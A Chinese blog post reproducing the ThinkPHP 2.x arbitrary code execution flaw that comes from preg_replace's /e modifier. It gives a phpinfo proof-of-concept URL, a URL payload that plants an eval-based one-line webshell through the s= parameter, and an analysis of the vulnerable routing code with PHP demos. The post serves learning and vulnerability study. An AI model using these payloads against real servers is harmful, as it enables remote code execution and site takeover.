ThinkPHP 2.x 任意代码执行漏洞【复现】

ThinkPHP 2.x 任意代码执行漏洞

前言

第一次做漏洞复现,但是感觉自己的描述不是很清晰(有点逻辑混乱),文末参考链接讲的很清楚。

漏洞描述:

ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

漏洞复现

POC:

/index.php?s=/index/index/name/${
    
    @phpinfo()}

在这里插入图片描述
执行一句话木马:

/index.php?s=/index/index/name/${
    
    @print(eval($_POST[1]))}

在这里插入图片描述

原因分析:

preg_replace 函数执行一个正则表达式的搜索和替换。

语法:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

但是在/e模式下,会将替换的字符当做代码执行。

在这里插入图片描述
@和/的效果相同,php 7以上版本不在支持/e修饰。

代码分析:

// 分析PATHINFO信息
        self::getPathInfo();

        if(!self::routerCheck()){
    
       // 检测路由规则 如果没有则按默认规则调度URL
            $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
            $var  =  array();
            if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
    
    
                $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
                if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
    
    
                    // 禁止直接访问分组
                    exit;
                }
            }
            if(!isset($_GET[C('VAR_MODULE')])) {
    
    // 还没有定义模块名称
                $var[C('VAR_MODULE')]  =   array_shift($paths);
            }
            $var[C('VAR_ACTION')]  =   array_shift($paths);
            // 解析剩余的URL参数
            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
            $_GET   =  array_merge($var,$_GET);
        }

最开始的if判断,没有路由规则则使用默认规则,也就是执行$res。

$var是一个数组,对它的操作\$var[\'\\1\']="\\2";表示第一个值为key,第二个值为value。

在这里插入图片描述
w+匹配一个或多个数字、字母、下划线。

所以,当第三个参数可控时,可以插入恶意代码。

在这里插入图片描述
在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行。

ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值…]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]

参考:
ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行

我再好好学习一下。

主要分析一下正则,毕竟是漏洞存在的地方:

<?php
function test($str)
{
    
    
    echo "This func is run  $str .";
}

$a='GoodGoodStudy';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
[bbbGoodGoodStudybbb]

变量b中的aaa之间的部分被替换成变量a的值。

<?php
function test($str)
{
    
    
    echo "This func is run  $str .";
}

$a='test()';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
This func is run   .[bbbbbb]

变量a是一个函数,在正则替换时,本来应该被替换的hellordword确实替换了,但是没有值。

<?php
function test($str)
{
    
    
    echo "This func is run  $str .";
}

$a='test("\1")';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
This func is run  helloworld .[bbbbbb]

给变量a的函数test传入参数"\1",本来应该被替换的部分,也就是helloword,反而变成了参数进行了传递。

<?php
function test($str)
{
    
    
    echo "This func is run  $str .";
}

$a='test("\1")';
$b='aaa$caaa';
$c="CXK";

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

运行结果:
This func is run  CXK .

通过可控参数b,传入一个变量c。

个人理解:正则表达式中本来要进行替换的位置,本身就依靠数组进行存储,而test传入的"\1",相当于取出数组中的元素(数组不是很恰当,因为数组从0开始),进行了传参。

试一下:
在这里插入图片描述
果然。

那这个东西就好理解了 :$var[’\1’]="\2"

第一个本来要被替换的数据,第一个给了key,第二个给了value(前面好像说了,这里在理解理解)。

可控的位置为implode($depr,$paths),implode()是将数组转成字符串。

到这,理解的差不多了(自己理解的差不多了,哈哈)。

猜你喜欢

转载自blog.csdn.net/qq_45742511/article/details/114915146